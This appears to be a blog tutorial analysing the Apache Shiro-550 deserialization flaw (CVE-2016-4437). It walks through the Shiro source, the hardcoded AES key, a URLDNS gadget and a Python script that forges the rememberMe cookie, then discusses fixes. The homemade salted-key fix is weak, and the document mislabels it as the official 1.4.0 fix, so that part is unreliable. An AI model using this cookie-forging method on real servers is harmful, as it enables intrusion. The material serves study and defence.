Apache Shiro-550 反序列化漏洞
Apache Shiro550反序列化(CVE-2016-4437)漏洞分析、复现及修复。
Apache Shiro是一个开源安全框架,拥有身份验证、授权、加密和会话管理的功能。
一、漏洞分析
1.1 漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
1.2 影响范围
Apache Shiro <= 1.2.4
1.3 特征判断
返回包中包含rememberMe=deleteMe字段。
二、漏洞复现
2.1环境搭建
1、下载shiro1.2.4
https://github.com/apache/shiro/tree/shiro-root-1.2.4
2、然后直接使用IDEA打开samples下的web项目,然后配置好Tomcat(版本Tomcat9)
3、在web中的pom.xml中添加如下的依赖
<dependency>
<groupId>taglibs</groupId>
<artifactId>standard</artifactId>
<version>1.1.2</version>
<scope>runtime</scope>
</dependency>
4、添加samples_web_war_exploded
5、搭建成功界面
2.2 漏洞特征
通过BP抓包查看shiro反序列化的特征
URL:http://localhost:8081/samples_web_war_exploded/
GET /samples_web_war_exploded/account HTTP/1.1
Host: localhost:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Referer: http://localhost:8081/samples_web_war_exploded/login.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=391F0A60E39C9681BC0B1C4354C4C0E0; rememberMe=V//xDuY/A2UHbHyiqKowEiu28Te22N632KUq7BFOd0I4pMouWmRF09dCmONIrOGVVW6CgTM0EuhKr5Sh8qc8UtxLckJjehG7vHZQRS2ksgkxeVw1qGoOWqXTSfKLdSJJdIyhhNuJt2mNfXGZMOncMdzrO5n3Y12KLd7aTd8g22PSjIBvjzegWtNqg99EhysSVsoz/2/0j/V32AeRwgnUI6WJcad8r55EHCFqX53nHCBvx9g3R5qMH2M1RBi6++U9bei5x+CwT9q8iEDl6gfY59qrrKIrFMIyUOA9ZPdhVV0RD+GkqClXBYRwfm9HymPR0sbLTZjD8q+zys/TNlLRu3yOsoPWwxSvhs3P/aJ3Hc5yWNE6CZdG1EE3RxM/P4iTYli9iDMVsHy8toRDq3YXpfbr0sI93Rbax0sKwKnn13vE5XKvdV8XPxPtPM5ScdJRU6KovEXo18Nohmdf7QkI19q1DTAfOqoTrmOQpA+7I70QJ//0hs6KxcLfHvsnJTCp
Connection: close
2.3程序调试
写在前面:
1、为了方便阅读加了一个子目录2.3.X。
2、下图为调试以后自己总结的一个方法调用图。查看顺序“从上到下,从左到右”
2.3.0 分析
在IDEA中查找rememberMe
挨个查看,RememberMeManager类
定义了一些方法。AbstractRememberMeManager类
和CookieRememberMeManager类
实现
其关系是: RememberMeManager类
是AbstractRememberMeManager类
的父类;
AbstractRememberMeManager类
是CookieRememberMeManager类
的父类
public abstract class AbstractRememberMeManager implements RememberMeManager{......}
public class CookieRememberMeManager extends AbstractRememberMeManager {......}
可以得到的信息:(根据命名翻译进行推测,大概知道什么功能)
AbstractRememberMeManager类
定义了一个默认密码子节串(后面有用)
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
CookieRememberMeManager类
序列化标识函数
/*
* @param subject the Subject for which the identity is being serialized.
* @param serialized the serialized bytes to be persisted.
*/
protected void rememberSerializedIdentity(Subject subject, byte[] serialized)
获得序列化的标识的字节数组函数
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext)
2.3.1 入手
rememberSerializedIdentity
方法有关于cookie的操作:
Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
从该方法入手
顺着引用可以发现onSuccessfulLogin
调用rememberIdentity
;rememberIdentity
调用了rememberSerializedIdentity
方法;
![image-20240229103228495](https://i-blog.csdnimg.cn/blog_migrate/113d5a4e093ab059fc68e255f7813122.png)
![image-20240229103146009](https://i-blog.csdnimg.cn/blog_migrate/483b24481d1951c3b6220d8377830da7.png)
然后从rememberSerializedIdentity
方法进行调试F8进行下一步
rememberSerializedIdentity
方法在cookie保存前进行了Base64编码;
2.3.2 总的方法
程序来到了rememberIdentity
方法,调用rememberSerializedIdentity
方法结束的地方。在rememberSerializedIdentity
方法之前有一个convertPrincipalsToBytes
方法
2.3.3 获取字节数组
Ctrl查看convertPrincipalsToBytes
方法
1、将参数principals
进行序列化
2、判断是否获得加密服务
,为空的话进行加密
3、返回序列化后并加密后的字节数组
到此可以确定程序对登陆信息进行了序列化->加密->base64编码->cookie值
2.3.4 序列化
于是,先Ctrl查看序列化函数serialize
该方法将对象principals进行序列化后,得到字节数组并返回
打断点,逐步调试,进行查看
将一个对象序列化为字节数组。序列化过程中,创建字节输出流,并使用对象输出流将对象写入到输出流中,最后将输出流中的字节数据转换为字节数组并返回。
BufferedOutputStream
对象,会包装 ByteArrayOutputStream
,提供缓冲功能,以提高写入性能。
2.3.5 加密(AES)
接着2.3.3进行查看
ctrl
进入getCipherService
函数,看下在判断什么。
可以看到返回了一个密码服务
继续ctrl查看cipherService
是什么
可见cipherService
是AbstractRememberMeManager类
定义的一个值。
继续查找cipherService
在哪赋值,查找AbstractRememberMeManager类
构造函数
this.cipherService = new AesCipherService();
名字判断是一个AES加密服务,Ctrl进入AesCipherService
继续查看,以确认AES加密
确实是AES
2.3.6 默认密钥
回到调试的2.3.3
逐步调试进入encrypt函数
进行代码审计,可以得出最重要的加密语句是
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
该方法会接受两个参数:要加密的字节数组 serialized
和加密密钥 getEncryptionCipherKey()
,并返回一个 ByteSource 对象,该对象包含了加密后的数据。
逐步调试进入 cipherService.encrypt
函数,是一个加密方法
返回查看参数getEncryptionCipherKey()
由前面的定义可以知道默认的密码字节数组
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AbstractRememberMeManager
构造函数
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService(); cipherService使用的是AES密码服务,查看AesCipherService
setCipherKey(DEFAULT_CIPHER_KEY_BYTES); 赋值密码
}
setCipherKey
函数
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}
由此知构造函数会利用DEFAULT_CIPHER_KEY_BYTES
生成
构造函数通过DEFAULT_CIPHER_KEY_BYTES
生成默认密钥
到此
2.3.7 解密调试
通过BP发送带着Cookie的请求进行逐步调试
调试后梳理的结果如下:
getRememberedPrincipals
是总的方法,分别调用了
1、getRememberedSerializedIdentity
方法
2、convertBytesToPrincipals
方法
1、getRememberedSerializedIdentity
方法,只要rememberMe
不是deleteMe
那么就会对rememberMe
进行base64解码并返回
2、convertBytesToPrincipals
方法。分为解密和反序列化
decrypt
方法用来解密AES
deserialize
方法
打断点查看deserialize
方法,是一个反序列化过程
解密完成之后就会顺利地进行反序列化了,因为rememberMe
是从Cookie
中得到的,而Cookie
又是可控的,因此在开发者没有改AES
密钥的情况下,这个反序列化点是可控的,满足反序列化漏洞的基本条件。
漏洞利用顺序
Cookie中的RememberMe -> Base64解密 -> 使用AES密钥解密(密钥存在硬编码) -> 进行反序列化
2.5 漏洞利用
分析到这里,我们就能得到漏洞的利用方式了。我们首先构造一个恶意的序列化对象,然后用代码中固定的key对其进行AES加密,然后对其进行base64编码,将编码后的内容作为cookie发送即可。服务端收到序列化的对象,对其进行base64解码、解密后再反序列化,从而触发漏洞利用。
特征验证
首先,使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;
,看响应包header中是否返回rememberMe=deleteMe
值,若有,则证明该系统使用了Shiro框架
方法一:URLDNS链+DNSlog 模拟
我用的这个平台:https://dig.pm/
URLDNS链介绍:
构造一个URLDNS代码生成一个恶意对象,并进行序列化存储
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Application {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://8acd45fd4b.ipv6.1433.eu.org");
Field hashCodeField = Class.forName("java.net.URL").getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 123);
hashMap.put(url, 0);
hashCodeField.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.bin"));
ois.readObject();
}
}
生成RemenberMe的值:对其进行用代码中的key对其进行AES加密(IV值随便取),并对加密结果进行base64编码:
import uuid
import base64
from Crypto.Cipher import AES
def AESencrypt(message, key,mode,iv):
BS = AES.block_size
# PKCS7 填充函数
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
# 初始化 AES 加密器
cipher = AES.new(key,mode,iv)
# 加密消息,并进行填充
encrypted_message = cipher.encrypt(pad(message))
# 返回 IV 和 加密后的消息进行 Base64 编码后的结果
return base64.b64encode(iv+encrypted_message)
def ReadFile(filename):
with open(filename,"rb") as f:
data=f.read()
return data
if __name__ == '__main__':
file_name = "object.bin"
data=ReadFile(file_name)
keybyte = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
AESencrypted=AESencrypt(data,keybyte,mode,iv) #包含了base64
print(AESencrypted)
通过BP发送请求
DNSLOG收到请求
方法二:集成工具
配置好参数运行
三、漏洞修复
修复建议:
升级shiro至最新版本
个人修复措施:
1、对默认密钥通过加盐,变为动态不可知密钥;缺点:密钥固定时间更改会造成用户认证失败
密码加盐:AbstractRememberMeManager
类做如下修改
protected static String GetDate(){
Calendar calendar = Calendar.getInstance();
int year = calendar.get(Calendar.YEAR);
int month = calendar.get(Calendar.MONTH) + 1; // 月份从0开始,所以需要加1
int day = calendar.get(Calendar.DAY_OF_MONTH);
return String.valueOf(year)+String.valueOf(month)+String.valueOf(day);
}
// 读取文本文件内容并打印到控制台
public static String readFile(String filename) {
try (BufferedReader reader = new BufferedReader(new FileReader(filename))) {
String line;
while ((line = reader.readLine()) != null) {
return line;
//System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
return "";
}
// 将文本写入文件
public static void writeFile(String filename, String content) {
try (BufferedWriter writer = new BufferedWriter(new FileWriter(filename))) {
writer.write(content);
} catch (IOException e) {
e.printStackTrace();
}
}
protected static byte[] KEY_BYTES_Add_Slat(byte[] KeyByteS) {
// System.out.println("123");
String date=GetDate();
String oldDate=readFile("date.txt");
// 生成随机字节序列作为额外的盐
byte[] randomBytes = new byte[16]; // 16字节的随机序列
if (!date.equals(oldDate)){
SecureRandom random = new SecureRandom();
random.setSeed(new Date().getTime());
random.nextBytes(randomBytes);
writeFile("salt.txt", Arrays.toString(randomBytes));
writeFile("date.txt",date);
}
randomBytes=readFile("salt.txt").getBytes();
byte[] value = new byte[KeyByteS.length + randomBytes.length];
System.arraycopy(KeyByteS, 0, value, 0, KeyByteS.length);
System.arraycopy(randomBytes, 0, value, KeyByteS.length, randomBytes.length);
return value;
}
2、对用户输入的数据进行限制和过滤
官方修复措施
官方通过一个“密钥生成器”,重新设置了密钥,避免了默认密钥造成反序列化漏洞。
1.4.0 版本
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService(); cipherService使用的是AES密码服务,查看AesCipherService
setCipherKey(KEY_BYTES_Add_Slat(DEFAULT_CIPHER_KEY_BYTES)); 赋值密码
//
}
1.9.0版本,可通过以下几个函数对比分析。
1、 public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
}
2、 public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}
3、 public void setEncryptionCipherKey(byte[] encryptionCipherKey) {
this.encryptionCipherKey = encryptionCipherKey;
}
4、 public Key generateNewKey(int keyBitSize) {
KeyGenerator kg;
try {
kg = KeyGenerator.getInstance(getAlgorithmName());
} catch (NoSuchAlgorithmException e) {
String msg = "Unable to acquire " + getAlgorithmName() + " algorithm. This is required to function.";
throw new IllegalStateException(msg, e);
}
kg.init(keyBitSize);
return kg.generateKey();
}
/**
* Initializes this key generator.
*
* @param random the source of randomness for this generator
*/
5、 public final void init(SecureRandom random) {
if (serviceIterator == null) {
spi.engineInit(random);
return;
}
RuntimeException failure = null;
KeyGeneratorSpi mySpi = spi;
do {
try {
mySpi.engineInit(random);
initType = I_RANDOM;
initKeySize = 0;
initParams = null;
initRandom = random;
return;
} catch (RuntimeException e) {
if (failure == null) {
failure = e;
}
mySpi = nextSpi(mySpi, false);
}
} while (mySpi != null);
throw failure;
}
四、总结
知识点:代码审计、Java反序列化漏洞、AES加密、URLDNS链
资源:
参考文献
Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)